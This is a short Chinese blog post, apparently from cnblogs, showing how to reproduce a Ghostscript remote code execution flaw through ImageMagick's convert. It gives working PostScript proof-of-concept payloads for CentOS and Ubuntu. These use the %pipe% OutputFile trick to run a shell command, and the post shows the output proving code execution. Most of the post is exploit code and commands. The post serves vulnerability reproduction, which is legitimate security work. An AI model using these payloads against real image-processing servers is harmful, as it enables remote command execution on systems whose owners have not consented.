• Ghostscript远程代码执行漏洞利用方法


    昨天爆出来的Ghostscript远程代码执行漏洞,复现过程如下

    1、确认系统是否安装了gs

    执行命令

    gs -q -sDEVICE=ppmraw -dSAFER -sOutputFile=/dev/null
    

     

    如果命令没有执行成功,那么恭喜你,你没有这个漏洞

    要想复现这个漏洞,那么你需要

    yum install ghostscript

    ubuntu

    [root@srv62 ~]# cd /usr/local
    [root@srv62 src]# wget http://ghostscript.com/releases/ghostscript-8.71.tar.gz
    [root@srv62 src]# tar zxvf ghostscript-8.71.tar.gz
    [root@srv62 src]# cd ghostscript-8.71
    [root@srv62 ghostscript-8.71]# ./configure --prefix=/usr
    [root@srv62 ghostscript-8.71]# mkdir obj
    [root@srv62 ghostscript-8.71]# mkdir bin
    [root@srv62 ghostscript-8.71]# make all
    [root@srv62 ghostscript-8.71]# make install

    2、命令执行成功了,说明系统已经安装了ghost script,然后我们来构造poc

    vim shell.jpe

    jpeg内容(centos)

    %!PS
    userdict /setpagedevice undef
    legal
    { null restore } stopped { pop } if
    legal
    mark /OutputFile (%pipe%id) currentdevice putdeviceprops

    然后执行

    /usr/local/bin/convert shell.jpeg what.gif

    现象:

    uid=500(rong) gid=500(rong) groups=500(rong)
    convert: FailedToExecuteCommand `"gs" -q -dQUIET -dSAFER -dBATCH -dNOPAUSE -dNOPROMPT -dMaxBitmap=500000000 -dAlignToPixels=0 -dGridFitTT=2 "-sDEVICE=pngalpha" -dTextAlphaBits=4 -dGraphicsAlphaBits=4 "-r72x72" -g612x792  "-sOutputFile=/tmp/magick-55636ecO6hPgbKE2Y%d" "-f/tmp/magick-55636NeGRLWbqeU7E" "-f/tmp/magick-55636jIlkxkc2rfdl" -c showpage' (-1) @ error/utility.c/SystemCommand/2051.
    convert: no images defined `what.gif' @ error/convert.c/ConvertImageCommand/3187

    ubuntu环境下POC:

    %!PS
    userdict /setpagedevice undef
    save
    legal
    { null restore } stopped { pop } if
    { legal } stopped { pop } if
    restore
    mark /OutputFile (%pipe%id) currentdevice putdeviceprops
  • 相关阅读:
    PHP基础介绍
    day96
    day95
    day94
    day93
    day93之微信推送
    22个必须知道的css技巧
    利用Js或Css滤镜实现IE6中PNG图片半透明效果 IE6PNG妥妥的
    dedecms调用日期格式化形式大全
    innerHTML动态添加html代码和脚本兼容性问题处理方法
  • 原文地址:https://www.cnblogs.com/wushangguo/p/9523130.html
Copyright © 2020-2023  润新知